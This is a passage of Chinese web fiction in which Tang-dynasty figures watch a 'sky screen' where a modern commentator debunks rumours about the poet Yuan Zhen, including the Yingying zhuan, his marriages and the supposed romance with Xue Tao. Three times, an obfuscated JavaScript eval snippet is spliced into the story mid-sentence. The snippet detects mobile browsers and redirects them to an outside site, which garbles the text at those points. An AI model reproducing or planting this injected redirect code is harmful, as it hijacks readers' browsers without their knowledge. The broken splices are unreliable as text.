虽然对后世的义务教育没有概念,但用李杜做比,白居易迅速理解了后人眼里自己的诗歌成就和历史地位。他面向面前催婚者的紧张消弭了些许,与来来去去收拾行李的元稹一对视,笑了。 死生契阔者三十载,诗歌唱和者九百章。 这就是他们至死不渝的友情。 而他的身边,催婚者们眼中的热切都似乎要融化元家的房子。 他们面前这是个比肩李杜的文豪,史册偏爱,三十未婚。 可惜他用已经有爱人拒绝了他们所有人。 后世文人也在对着天幕点头。白居易那样的人,怎么会找一个心口不一的人当一生的挚友呢? “不对,我记得他们后来不是决裂了吗?白居易还写了……《论请不用奸臣表》?” “《论请不用奸臣表》?白居易晚年专门编了自己的诗集文集,这篇表连他的文集都没进去。” 酒席上,杨万里听到这讨论,提着酒壶走来,眼中清澈如稚子。 “这篇文章出自《文苑英华》②,《文苑英华》在下面注释说''元白交分,始终不替。方元倾裴,白不应有此论列。《集》固无之。''” 元稹和白居易的交情,从始至终都没有改变。元稹排挤裴度时,白居易不应该上表弹劾元稹,而且他的文集《白氏长庆集》中本来就没有收录这篇文章。 “《文苑英华》都这么说的了。而且真的决裂,白居易会给元稹写‘君埋泉下泥销骨,我寄人间雪满头’③这种诗吗?在元稹死后马上写情深意重的祭文④,许愿来世相见⑤,随时写诗纪念……哈哈,原来这叫决裂。” 杨万里笑着走了。 “读遍元诗与白诗,一生少傅重微之……”⑥ 外头,蜻蜓飞来,立上尖尖的菡萏。 【第二个点,在于崔莺莺的形象塑造。 《莺莺传》在后世多有改编,并且结局从始乱终弃改编成合家欢,崔莺莺和张生经过乱军、崔母等考验最终走到一起,根源都是读者对崔莺莺被弃的愤慨。所以他们在同人里给了崔莺莺一个封建社会里的最好结局。 崔莺莺在封建社会与外男私通,绝对是不符合封建社会道德观的,那为什么后人会怜悯崔莺莺,为她重写结局? 根源就在元稹对崔莺莺的描写中。 我们来看一下原文中的崔莺莺。 容貌,“常服容,不加新饰,垂鬟接黛,双脸销红而已。颜色艳异,光辉动人”,光看古文也能看出是位美人。 性格,“贞慎自保”、“善属文”,贞静谨慎,善于文章。 侧面描写,张生说如果见不到崔莺莺,“三数月间,索我于枯鱼之肆矣”。数月不见其人,他自己都能成鱼干店吊着的鱼干了。这是怎样的佳人,才能让人这样日思夜想! 再加上被张生抛弃的结局,被张生为保自尊说成是妲己褒姒一样的“尤物”形象,被污蔑主动诱惑,更让这个人物形象显得悲情。 但是,问题就在这里。 你难道会把你那非和平分手的前女友写得这么好,这么让人同情吗?】 各时空的大多数人都陷入了可疑的沉默。 随后响起的却是一阵异口同声的喊声:“当然!我岂是那种小肚鸡肠之人!” 话虽这么说,他们心里却已经信了几分。 【第三,我不知道什么时候写的生动也成了元稹的罪证。 如果说因为他写的生动,所以这就一定是他自身经历过的。 不写的生动难以扬名,写的生动会被说是自寓。 而且是生动唐传奇的作者,也不见有人说白行简就是《李娃传》中的郑生,蒋防就是《霍小玉传》中的李益。 这里另外说一下,崔莺莺的人物形象生动具体,脱离了中国古代“写女性必须为男性服务”的窠臼。 她多才、多情、有时会耍小性子,她的人物形象也不是为了男主张生而存在。 相思浓时自荐枕席,在察觉到张生可能会变心以后主动断舍离,这是她为掌握自己人生所作的努力。 各自嫁娶后积极向前看,面对张生再次挑逗,坚定不重蹈覆辙,还劝张生不要留恋旧日,彻底抛下张生这个拿不出手的前任。 相比之下张生就真不是东西。他居然把表妹写给自己的情书拿给别人看,肆意践踏表妹的名节,之后还把崔莺莺比作妲己褒姒在外宣扬。 恶臭快溢出屏幕了。】 知退的《李娃传》也千古留名了。 白居易很是欣慰,另一边元稹、韦丛已经收好东西,招呼人们出住所,准备锁门。 或许家贫也是有好处的吧。韦丛苦中作乐想着,就算要离开也不用整许多行李,不用太担心盗贼。 元稹出了门后径直寻路往洛阳老家去,后头跟了些还想和未来的元相国攀攀关系的人。 那些不想追上去的便停在这里,权当自己为他送行。只要回头再构思一两首诗,把这送行的名头彻底定下,就算到时候他们攀不上元相国的关系,也能在同僚面前吹吹牛。 人们渐次离去。 白居易转身去寻白行简,后面依旧跟着些人。他也不恼,随意与他们聊着。 弟弟的文章写得那么好,做哥哥的肯定是要去夸一下的。 那边腐儒倒是被天幕的评价气了个倒仰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988075|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “崔氏与外人无媒苟合,怎么就成了生动鲜活的美好形象了?要我说,张生将她始乱终弃,也是张生痴情,崔氏活该!” “闭嘴吧你!张生挑逗崔莺莺在先,泄露隐私、辱骂崔莺莺在后,还不顾与崔莺莺的海誓山盟,不仁不义不信之甚,哪比得上崔莺莺万一!” 【另外,对于元稹支持张生行为的说法,这里也提出反对。 第一,看了《莺莺传》后,读者会对张生这种始乱终弃、心口不一的行为感到同情、赞同吗?如果不会,那元稹这么写有什么意义? 作为唐朝著名诗人,元稹也算是个语言大师,如果他真的支持张生,他有更多方法可以巧言令色来偷换概念,可他没有。 人们依然同情崔莺莺而厌恶张生,何以让他“支持张生”的论点得到传播呢? 第二,《莺莺传》是一篇行卷,放在现在大抵相当于我们考研究生前给目标导师邮箱发自己的研究成果,提高自己的考研选导成功率。 这种研究成果,如果是文学政治类的,必定不可能脱离当时价值观。所以元稹《莺莺传》初看赞扬张生,实际曲笔抑张扬崔,在符合当下价值观的同时夹带私货,使崔莺莺这个鲜活的形象传世。】 原先奔走应付,几乎无暇看天的元稹抬了头。 他欣慰于后人从浅薄的纸面中发掘出了真相,又疑惑于为何这真相发掘的如此之晚——天幕曾言已经过去了千年。 他与茂之感情深厚是天幕所在时人尽皆知的事实,他的感情观念也可见一斑,为什么还有那么多人认为他负心薄幸,让天幕都要特意讲解辟谣? 而这“研究生”,或许就是现在的翰林学士,掌管馆阁制诏。 后人的翰林学士需要在官员里再考试筛选吗?那其他职位也要吗?这样的考试,是否太频繁了点? 元稹皱眉。 他真诚希望自己马上会参与的第三次考试会是最后一次。 他已经不想再考第四次了。 【《莺莺传》因为是一篇文学作品,而且元稹少年时的行踪没有记录,所以是否自寓难以被完全证伪,也难以被完全证实。 近现代的“疑罪从无”是司法史上一大进步。听了这么多对自寓说的反驳,知道了这是仍存在的问题而不是已经证实的定论,我们能否对也元稹疑罪从无,不把《莺莺传》作为讨伐他的罪证呢? 最后,up引用吴斯宁老师随笔《元稹:虚构的“自传”》中的一句话作为总结。 “有着类似写作经验的福楼拜说,‘包法利夫人就是我’,郭沫若也说‘蔡文姬就是我’。如果写完这篇传奇,元稹泪流满面的对外宣布:‘崔莺莺就是我’,我们的学者又该如何作想呢?”】 “疑罪从无?”张汤眯起眼睛,思索起这天幕所说的“司法一大进步”。 他努力使自己在办案前先假定犯人无罪,最终却摇了摇头。 他清楚自己办案的目的是为了皇帝而不是百姓,法律只是陛下手中的刀,陛下要清算谁,他就会去查证谁的罪过。这种行为本来就是先假定犯人有错才去行事,用不上疑罪从无。 而审讯时,《周礼·秋官·小司寇》里的五听之法,即辞听、色听、气听、耳听、目听,已经够他用了。 但或许这套“进步”可以先在地方百姓的纠葛中试用。 唐朝,白行简脑中的崔莺莺终于有了具体形象。 兄长的挚友换上了鲜艳的衣裳,在园中持团扇与婢女游春、或是提笔写诗。 崔莺莺高才,元稹也高才啊!崔莺莺貌美,元稹也貌美啊!⑦ 此时有人叩门,白行简想或许是他去拜访元稹的兄长回来了。他开门一看,果然看到了兄长的脸。 “乐天,你可知道我想到了什么?元莺莺!” 于是白行简见到了惊愕的兄长和后面眼睛放光的好事者们。 5. 元稹(4) 李纯派去的宦官还不知道元家已经人去楼空,依然兢兢业业地在路上纵马。 他挥鞭吓开面前挡路的人,在孩子的哭嚎声中扬长而去。 一面怨怒着阖宫上下竟然没有一个人知道元稹住在哪里,宦官一面留下一地污泥——那是被践踏的菜叶。 吐突承璀看中他这个人,特意把这个在陛下面前露脸的机会给了他,可宫里哪个人会记着一个小小的校书郎住在哪里? 他为此多番打听,各处找路,好在长安够大,他才能将自己找地方的行为掩藏在长安太大的拙劣借口下。 天幕讲解《莺莺传》时他也留了个耳朵,结果连他这个宦官都有点同情起这未来的前朝官员了。 随手写的传奇被当作了罪证,怕是那个传奇酷吏来俊臣都没想过能这么罗织罪名。 眼见着天幕好像又要说话了,他赶紧一抽马屁股,眼睛又盯回前方。 即使他对天幕感兴趣,现在还有要事,他可闲不下来八卦。 【第二个部分:巧婚 元稹巧婚论出自陈寅恪《元白诗笺证稿》,陈寅恪先生认为元稹抛弃莺莺,为选婚豪门而娶韦丛,是“无节操之守”的行为。 先前对于崔莺莺一事,我们刚刚说完,不再赘述,这一节就主要辩驳元稹为了仕途巴结韦夏卿、迎娶韦丛这一点。】 韦夏卿的院子里早就迎来了几个小男孩,大的坐在一边盯着大院子,小的干脆直接在韦夏卿身边眼睛一闭,睡着了。 于是韦夏卿便一边看外孙一边听天幕。他年纪大了,好不容易给女儿找个能托付的,有了几个外孙,也算是了了一桩心事。 能托付爱女的男人,他必定早早就相看过,那人品貌俱佳,再加上才华,只要不沾上永贞革新那一类被今上厌恶的事,可以说是前途无量。 正是因为这一份放心,他才能把《莺莺传》的解说当《搜神记》听。如今听到巧婚竟然是这种解释,他却睁大了眼睛。 这位陈先生,不仅质疑了微之的人品,连他看人的眼光都否定了个彻底啊! 【要证明后者很简单,我们只需要看岳父韦夏卿有没有在仕途上、生活上给元稹实质的帮助。 元稹结婚于贞元十九年九月,当时元稹22岁,韦丛20岁。元稹当年三月刚刚考过书判拔萃科,授官校书郎;韦夏卿当年十月为东都留守,有辞官退隐的意愿。 韦夏卿去世于元和元年元月,此时离元稹结婚过去了两年,元稹依然是正九品上的校书郎。 所以韦夏卿对元稹的仕途并没有什么帮助,又怎么能说元稹结婚是为了选婚豪门仕途通畅呢?】 这天幕上在讲的神人必定是个小姑娘。韦夏卿想,瞧这不会说话的样子,怎么能说他对元稹的仕途根本没有帮助呢? 他去年还是太子少保,是当今天子的属官,帮助小女儿一家自然是有过的。 他好歹给元家送去了一些生活费,让他们生活好些…… 【在生活方面,虽然韦夏卿对元家有所接济,但元家的贫困还是没有改变。 我们来看一下元稹后来怀念发妻韦丛的《遣悲怀三首·其一》: 谢公最小偏怜女,自嫁黔娄百事乖。 顾我无衣搜荩箧,泥他沽酒拔金钗。 野蔬充膳甘长藿,落叶添薪仰古槐。 今日俸钱过十万,与君营奠复营斋。 从中我们可以看出当时他们的家庭状况,没衣服穿,没钱应酬,只有野菜吃,烧火没钱买柴,只能捡落叶。 元稹的生活也没因为娶了韦丛得到质的飞跃,依然挣扎在贫困线上。】 外面响起叩门声,解救了韦夏卿的思绪。 妾室段荷命人开门,见是韦丛,赶紧拉着她进了门。 “阿丛,你这是……” 自己养大的姑娘突然先把孩子们送回了娘家,然后又亲自回门,这让段荷不得不多想。 阿丛聪明温和,天幕也说了是辟谣,此次必定不会是她因为元稹未来可能的“情史”与夫婿闹矛盾。那难道是元稹嫌弃阿丛身体不好? 看见不是亲娘却胜似亲娘的段荷如此紧张,韦丛哑然失笑。她拍拍姨娘挽住她的那只手:“姐姐①放心,微之回洛阳看母亲,舟车劳顿怕我累着,才把我送回娘家。” 还好还好,段荷松了口气,虽然贫穷,但这元九还算体贴。 “父亲在何处?” 段荷抬头,撞进了韦丛担忧的眼中。 是了,如今已经是元和元年元月。 【那提到韦丛,我们顺便来聊一聊元稹的婚姻状况,看看这个被后世认证的“渣男”家庭结构到底有多简单。 还是和之前一样,不感兴趣的朋友们自行拉进度条。 元稹贞元十九年娶妻韦丛,婚姻持续六年,至元和四年七月九日韦丛去世,生五子一女,只有女儿保子活下来平安长大。 元和六年为了照顾女儿保子,在江陵娶妾安仙嫔,育有一子元荆,元和九年安仙嫔去世,之后元荆夭折。 元和十年年底在兴元续娶裴淑,直到大和五年七月元稹在武昌操劳过度去世,终年53,他们之间“有儿女数人”,但除了一个女儿活下来,都夭折了。 还有就是根据裴淑墓志,大和四年到五年元稹在武昌时有一名妾室李氏,生子元道护。 总共活下来两个女儿一个儿子,我们不得不说元稹的子女运是真的不怎么样。】 想到儿子们稚嫩的面容,元稹神色一黯。 丈人年初去世,老母随后驾鹤,四年后爱妻离世,元和六年子女已经凋零到只有一个如今还未出生的女儿。 他现在身边围绕的人都会在短短几年中离开,他的影子会承载上他们的生命,代他们在人世间行走。 或许大医能挽救一二,可他现在的症结,是贫穷。 买不起好的药材,甚至亲人的去世,也可能是生的穷病。 诚知此恨人人有,贫贱夫妻百事哀。② 他进驿站,贷快马,报出名字的那一刻,他看着驿吏的眼神爆发出震惊,又转化为同情。 驿吏问:你的老丈人呢?他这个月就要去世了。 他答:我不知道母亲什么时候去世,只能顾上一头。岳父是良师益友,可我从小父亲去世,大哥失踪于战乱,母亲一个人拉扯了我们兄弟三个。她养大我,教我读书做人,我不想母亲操心我、抚养我,最后一天好日子都没过就离世。夫人已经向岳父带去了医者的消息,岳父应该可以再多活些时日。 驿吏牵马,元稹上马。他最后看了一眼长安,策马东去。 韦夏卿在园中四顾,见到一个未来的亡者,又一个,再一个,还有女儿腹中还没出生的小亡者。 他只能叹气:“茂之,保子这个名字取得好啊……” 能取出这个名字,前几个孩子夭折的时候,这对夫妇该有多悲痛—— 他们放下了对孩子的一切期望,只简单祈求女儿活着。 【这时候就有人要说了,如果元稹不好色,单纯照顾女儿和自己的日常起居,为什么要纳妾而不是雇仆人? 虽然纳安仙嫔与好色无关,但其中理由关乎婚姻的本质,是封建社会吃人的又一体现。我们这篇是辟谣而不是造神,也不必有所避讳——即使这在封建时代极其正常,甚至到了现代也无法完全规避。 元稹在江陵时生了重病,自己都感叹“归途奈无际”③,对自己生还不抱希望,再加上他“满眼文书堆案边,眼昏偷得暂时眠”④的工作态度,还要照顾刚会绕床行走的小女儿,才在好友李景俭的建议下纳妾。 省流一下他当时的状况:没钱养家重病工作的牛马,兼职保父。 这种自身难保的情况下纳妾也有其无奈。 纳妾也与他的贫穷重病有关,因为纳妾比请仆人少了一项工资钱,又能把姑娘绑在他的船上,即使自己死了女儿也能有个依靠。 古有王安石在外为官,妻子买妾送去照顾起居被王安石赠银遣返⑤,今有某教授为不发工资求婚保姆被清醒保姆拒绝。 只要缔结了婚姻关系,家庭内部的工作就被定性为义务劳动。 这是对女人劳动的严重剥削。 元稹确实为了自己和女儿的存活,剥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988076|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 削了一个年轻女子。】 原来保子是这么被保下来的。韦丛叹气,既担心丈夫,又同情安仙嫔。要照顾一个小的、一个大的,还要操持家庭,真的很难。 后世有人听了天幕,觉得天幕的辟谣对他对元稹的印象简直是挑衅,又苦于辩不过天幕,气的脸通红。 现在听了天幕的批判,他眼神亮的吓人,咧嘴大笑:“你看元稹果然是小人,连女人都要剥削!这种人怎么配得到神灵的垂青?” 【但这说明元稹这个决定一定是错误的吗?并不尽然。 根据元稹《葬安氏志》,安仙嫔是他友人为他占卜姓氏后挑选的妾,能走到这一步并嫁入家庭条件这么糟糕的元家,可见安仙嫔本身家庭环境就不是很好,不知是否饥寒,也不知她如果没有这个机缘,会不会就此饿死冻死。 后人对王安石拒绝纳妾并赐银遣归也并不是一味赞扬。有人说妾室本是人家妻,被卖出去可见生活窘困,王安石给了路费让她和家人团聚,万一家人再把她卖出去呢?不是人人都像王安石一样是个君子的。 古代不是我们现代,这些问题还是需要具体问题具体分析。 而纳李氏,可能是因为当年至少52岁的元稹膝下无男儿。 只能说虽然元稹达不到王维那样丧妻无子停娶的封建男人道德天花板,但还是不至于被骂几千年的。】 怒斥元稹的人像被掐住了脖子的公鸭,艰难挤出了一声:“嘎?” 他想不到天幕居然会在他背后捅一刀,可能他也并不想看到真相,只想着自己的面子被人驳了,找个理由找找场子。 一些堪堪有钱纳妾的人弹冠相庆:天幕说了具体问题具体分析,他们纳妾可是救了快死的女人,就算不发薪资得了个仆从,女人还要陪睡,但那可是互惠互利! 不过以后压榨女人还是要收敛些,天上的神反对剥削,谁知道什么时候会因为这个给他们降下灾祸。 而逐字逐句记录天幕语句者突然放任笔上墨汁滴湿纸张。 “古代”、“现代”。 乾隆看着自己为“现朝”歌功颂德的诗歌,竟然掩面扔纸至桌案。 这“现”字,居然真是“当前”之意,后人把与现代不同的都当做古代。 这二者究竟有什么区别,让他们这么划分! 百姓是否受饥寒、人口是否有买卖、是否存在奴婢。 ……总不会是女人是否能做工拿薪水吧? 这点他们现在不是已经存在了吗? 【最后,我们总结元稹对婚姻另一方的态度。 对韦丛,他情真意切,在韦丛离世后写了《离思》、《遣悲怀》等著名的悼亡词,纵使是他们之间的生活琐事,也被写得感人万分。女儿元保子最终嫁回韦家,应该有部分韦丛的关系。 对安仙嫔,他满怀愧疚,在安仙嫔去世后写《葬安氏志》以记。《葬安氏志》中,他认为女子自从嫁人后就难以舒展自己的身心,愧疚于没能在安仙嫔活着的时候对她更好一些。 对裴淑,他情意绵绵,夫妻多写诗唱和。裴淑墓志也记载自他们结婚以后,夫妻无一日分隔。墓志的撰写者是娶了元保子的韦绚,纵然墓志可能会夸大,但夸大的部分必定建立在现实上,他们的生活应该还是蜜里调油、十分和谐的。 李氏只在裴淑墓志里出现过一次,我们无法明确判断他们的感情关系。】 李纯无趣地看着天幕,想到宦官竟然还没带来消息,略略抿唇。 他对元稹的婚姻分毫不感兴趣,尤其是未来的婚姻,对现下毫无作用。 这天幕既然夸元稹,那他就必须对元稹作出君明臣贤的“君明”样子。现下元稹没有拿得出手的政绩,不能直接提拔,那便另辟蹊径,派几个太医去元家看诊。 天子赐,不可辞。 至于韦夏卿?他有心不管这个马上要去世的挂名太子太傅,单独派太医去收益太小,又难像元家一样师出有名。 那就让元稹去做吧,看他会不会请求太医顺便去看看他岳父的病。 相信太医们还是不会致力于得罪未来可能的宰执。 6. 元稹(5) 【第三个部分:元稹抛弃薛涛】 薛涛抬眼望去,冬日苍白的云外是蜀地望不尽的山川,山川总不见日,竟然也是苍白万分。 唯有孔雀,毛羽光晕煌煌。 她此刻仍处于去年被刘辟流放之地——松州军营,当年刘辟乱党碍于西川文人之望也只能将明确反对他的自己流放至边塞,不知今日的成都府,又会是怎样的光景? 她于成都曾居的屋外自天幕出现就聚了不知多少文人墨客,只怕随便叫一个如今成都城中文人的名字,都能响起回应声。 文人们喝着酒,带着醉态怒视天幕,誓要隔着天幕传檄造谣者,将他骂个狗血淋头。 谁给你这个胆子敢写我们西川文人首席薛洪度被抛弃的! 【其实薛涛和刘采春的谣言,是up最痛恨的谣言之二。她们都名列唐代四大女诗人,是惊才绝艳之辈,但就是因为一个漏洞百出的谣言,人们对她们的第一印象成了她们被抛弃,而不是她们的成就多么伟大,能在男人的社会中有这样的地位有多不容易。 现在只要一搜索薛涛,出来的就全是“元稹薛涛”,没有一句薛涛自己的诗句,没有薛涛在诗坛上的地位,甚至连薛涛自己的荣誉“女校书”、地位“唐代文学女流之首”都找不到。 比薛涛更冷门的刘采春更不用说。 连薛涛的生平都不属于她自己。《薛涛年谱》中间夹杂了很多只与元稹相关的句子,比如什么“元稹出生”、“元稹娶妻”,真的是离谱到家了。】 成都府的文人们便开始骂了起来。 “洪度诗文千古难得,没有一点脂粉气,不值得在搜索上提一下吗?啊?” “后世的唐代第一女诗人居然还能被不知道从哪里传出来的绯闻掩盖?瞎了眼了都!” “《薛涛年谱》?那么爱写元稹,改名元稹年谱得了吧!” “我们自己编一本洪度,把所有东西都写进去,看他们要怎么传!” 越东的商家也掀起了轩然大波。 虽然天幕没细说刘采春,可江边正盼着着去外地经商丈夫的夫人们对后世的谣言可不高兴。刘姑娘虽然只是一个唱参军戏的伎人,但她人那么好,是难得能把她们的心声唱出来的人,她们喜欢她。 怎么这么好的人就要这么和越州元公被造谣了啊! 刘姑娘还是一个有丈夫的人,女人被造这种谣言,生活会变得多艰难,造谣那人知道吗? 一位夫人操起古琴,调音,起手,旋律哀婉凄恻,悠扬不绝。 有人问:“李夫人这可是又想夫君了?怎么突然弹这么悲伤缠绵的曲子?” 她身边的女子立时答:“岚姑在为刘姑娘问天呢!才华被艳遇遮了,名声给绯闻压了,你能开心则个?” 北宋,李之仪伸手向笔,又无力垂下。 他的妻子胡文柔,善评文、自选婿,受沈括之盛赞,与东坡为知己,因才名曾被曹皇后接见。 如今她刚去世,他恐惧于爱妻的名声像薛涛的诗文失传五分之四、刘采春的诗文百首只存六篇,立志要将她的生平好好记录,让后来人能够追慕她的荣光。 希望姑溪居士胡文柔可以不被谣言所害,不被世人遗忘。 千头万绪不知如何提笔,于是他对着“姑溪居士妻胡氏文柔墓志铭”几字继续发愁。 他或许不知道,正是他的这篇文章,才使后人知道她的名字、捷才、豁达,知道那本就属于她的一切。 【我们还是通过寻找谣言发端来驳斥谣言。 薛涛元稹的谣言最初出自《云溪友议》,这本书是唐代隐居文人范摅的笔记小说集,写于元稹去世后几十年。 清朝时中央编纂的四库全书评价《云溪友议》“以唐人说唐诗,耳目所接,终较后人为近”,但“所载多有不实之处,立论亦多有不当之处” 余嘉锡《四库提要辨证》也认为“摅生于晚唐,以处士放浪山水,仰屋著书,不能常与中朝士大夫相接,故其所记如安禄山、严武、于颇、李绅之类,不免草野传闻,近于街谈巷议,《提要》驳之是也。” 可见《云溪友议》这本书里记载的史料,其真实度是要打个问号的。与元稹同一时代的李绅相关记录就被质疑了真假,所以我们大可不必因为晚唐《云溪友议》里有写元薛绯闻,就认为元薛一定存在恋爱关系。 上个世纪卞孝萱先生的《元稹年谱》即使都把《莺莺传》中的张生生平作为元稹生平编入书中,认为元稹薄情,对《云溪友议》的记载依然提出了四点质疑,可见其记载之不靠谱。】 与友饮酒作乐的范摅没有错过天幕这个巨大的信息源。先前讲《莺莺传》时听到自己的作品,他已经感到不妙,现在再听,竟有一种尘埃落定的感觉。 可惜了……他年少游历了秦楚吴宋等地,还未入川,就先已经绝了入川的路。 听说蜀道艰险,野兽众多,蜀中文人想必也颇有武德。 他可不想被蜀中的文人打出山。 通州更不必去,那儿还有“元九登高节”呢。要去了那里,他这个把听说的谣言写进书里的还能不能活着出来都不一定呢…… 原谅他,他一开始听说时真的不知道这是谣言啊! 友人忽然叫他,指天幕道:“这不是你写的?” 范摅定睛一看,只见那天幕上写: “安人(仁)元相国,应制科之选,历天禄畿尉,则闻西蜀乐籍有薛涛者,能篇咏,饶词辩,常悄悒于怀抱也。及为监察,求使剑门,以御史推鞫,难得见焉。及就除拾遗,府公严司空绶知微之之欲,每遣薛氏往焉。临途诀别,不敢挈行……” 他答:“这就是我写的……我当初写这书本来也就不是想留什么史料,只想记一些朝野轶闻,权供大家一乐。谁知道几千年后还成正统了?” 友人哈哈大笑:“可恨你不识得宋朝的王性之赵令畤!” 【我们归纳整合了这段文字中的不实之处,大家可以对着屏幕里放出的原文对比。 第一,该传言的最初版本《云溪友议》中“安仁元相国”和元稹的官职是另一位“元相国”——唐玄宗到唐代宗年间的元载的,元稹一生没当过天禄畿尉。 这是官职错误。 第二,元稹先于元和元年就任左拾遗,再于元和四年三月就任监察御史,监察剑南道东川,而非如《云溪友议》中的先就任监察御史,再就任左拾遗。 元稹任左拾遗只有四五个月,立马被贬去当河南尉,马上又丧母,在家丁母忧三年。左拾遗就任在长安,不可能像《云溪友议》中说的元稹以左拾遗之身与远在成都的薛涛多次相会。 更何况更具现代考证,元稹当左拾遗的时候,薛涛很有可能正因为反对西川叛军刘辟的统治被流放到边塞,然后于元和二年武元衡上任剑南节度使后献诗《罚赴边上武相公二首》,才被召回成都,并没有被送去与元稹私会的条件。 这是时间线错乱。】 洪度马上可以回来了! 成都文人竞相庆贺,泼墨挥毫,笔墨沾衣不顾,只是一味宣泄着薛涛能够回到西川的喜悦。 天可怜见!他们真的怕洪度在苦寒的军营里会受不住去世啊! 【第三,薛涛元稹之间的引荐人严绶此时不是剑南节度使,剑南节度使是那个很有名的断头宰相武元衡,他任剑南节度使时间是元和二年到元和八年。 严绶终其一生也没有当过剑南节度使。 另一说法是“严司空”为严砺,但严砺去世于元稹到达东川之前。众所周知,死人是没办法给别人介绍对象的。 这是引荐人问题。 第四,元稹在东川任职三个月中还要包括他在东川和长安的往返时间,此时薛涛还是没有人身自由的剑南节度使麾下乐伎。 剑南节度使治所在西川成都,元稹工作地点在东川,军区大总司令剑南节度使完全没有必要为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988077|161562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个区区八品的监察御史踏平蜀地险山,不远万里特意送美人。尤其这个美人后来被武元衡上表推荐为九品校书郎,当时应该也是武元衡重要的辅佐官。 另外,元稹在东川工作时他的工作强度用他当时的诗歌就可以概括,“满眼文书堆案边,眼昏偷得暂时眠”。他工作都来不及呢,牛马要完成kpi,谈什么恋爱! 这是不合人情。 】 武元衡疑惑地摸了摸自己的头。 他马上会成为剑南节度使,然后被召回当宰相?再之后不知道因为什么原因被砍了头? 即便是被安上谋反大罪的宰相长孙无忌,最终的结局也是一杯鸩酒,为何他就有如此殊荣! 是他恼了皇帝,还是…… 不,唐朝还是有被砍头的宰相的。 你看那马嵬驿的杨国忠,不就是吗? 李纯也疑惑地摸了摸自己的头。 他定下的国策是裁抑藩镇,武元衡能被他自己选中出镇剑南道,又回朝当宰相,可见他的忠诚。 他怎么可能这么就砍了一个宰相呢? 莫非…… 他也想到了玄宗、代宗、德宗三朝,长安陷落,天子出逃。莫非他后来也会出逃,武元衡就是在那时候被砍了头? 不……那这么说,断头宰相也可以代指杨国忠,怎么可能被拿来当武元衡的专指呢? 【认为元薛存在恋情的人另一个证据是他们的唱和诗。 其中《赠远二首》被认为可能是写给元稹,并因为其中有一句“闺阁不知戎马事,月高还上望夫楼”,被众多研究者指为恋爱证据。 但问题也在这句话中。 元稹一生没有带过兵,真要写给他为什么要提“戎马事”呢? 所以up猜测,这首诗并不写给元稹,使后人先知道绯闻,再看到“望夫”,于是兴高采烈地把这首诗拨给了元稹。 另有说法说薛涛的《十离诗》是被元稹抛弃后写给元稹的悲愤之作,但《十离诗》可能并非薛涛所作,《又玄集》中记了其中第一篇为“薛陶”所作。 这里又有两种说法,一说是薛陶是薛涛之误,如薛涛字洪度,也又作“弘度”,另一说则是薛陶另有其人。 《十离诗》也并没有一句明确是写给元稹的。 另外对于元稹的《寄赠薛涛》和薛涛的《寄旧诗与元微之》,这两首的言辞是正常交友范围内。两位同一时间的文豪相互欣赏本来就是一件很正常的事,不要太性缘脑觉得一女一男只要打个招呼就有私情了。 如果元稹和薛涛写几首诗就算是有私情,那元白呢?白居易都承认了“诗歌唱和九百章”,他们都应该结婚了吧? 对了,还真有外国人做同性恋研究,写的书里研究的赫然就是Bo Juyi和Yuan Zhen呢!】 白居易:啊? 元稹:啊? 这外国人……闲的? 韦丛看了这么久的天幕,除了那“元莺莺”说让她展颜一瞬外,都是愁眉苦脸,为自己为家庭担忧着。此刻她却笑的花枝乱颤,段荷都想扶着她,不让自家这个身体弱的姑娘一个不小心就摔倒了。 段荷看着天幕,掐一下自己的手指,有些担忧地问:“阿丛,你不怕……” “哈哈……咳……”韦丛努力平复自己的呼吸,“姐姐不用担心,我知道微之是怎么样的人。只是这蛮夷,他们太会想了!哈哈……不行……姐姐,他们好好笑啊……” 白居易看着自己家里那个开始盯着自己看的亲弟弟,无奈给了他一个栗子。 “阿兄!”白行简怒道,“打我作甚!” “你以为我不知道你?又构思什么奇怪的故事去了吧?” 幸好人潮在他回家后就散去了。白居易想,不然现在他要面对多少人奇怪的目光…… 门响了,白行简一惊,警惕着去开门。 外面露出一个眼神奇怪的宦官。 7. 元稹(6) 【听up讲了这么久,相信大家对up的歪楼能力已经免疫了,那我们顺便讲一讲薛涛到底有没有真的得到九品校书郎这个官位吧。】 “怎么可能!”天幕下有人嗤笑,“叫她女校书只不过是对她才华的尊敬,要皇上给她官做?那不是牝鸡司晨吗?” “还真的有这个可能……”有人这么认为。他想起了明末的忠贞侯秦良玉,却也对唐朝是否存在外朝女官持消极看法。 就连薛涛旧居前的文人也不是个个为薛涛有可能做官感到开心。固然很多人与薛涛之间存在友谊,但一个女子能做到他们这些男人都当不了的官…… 他们并不想承认自己感到妒忌和颜面扫地。 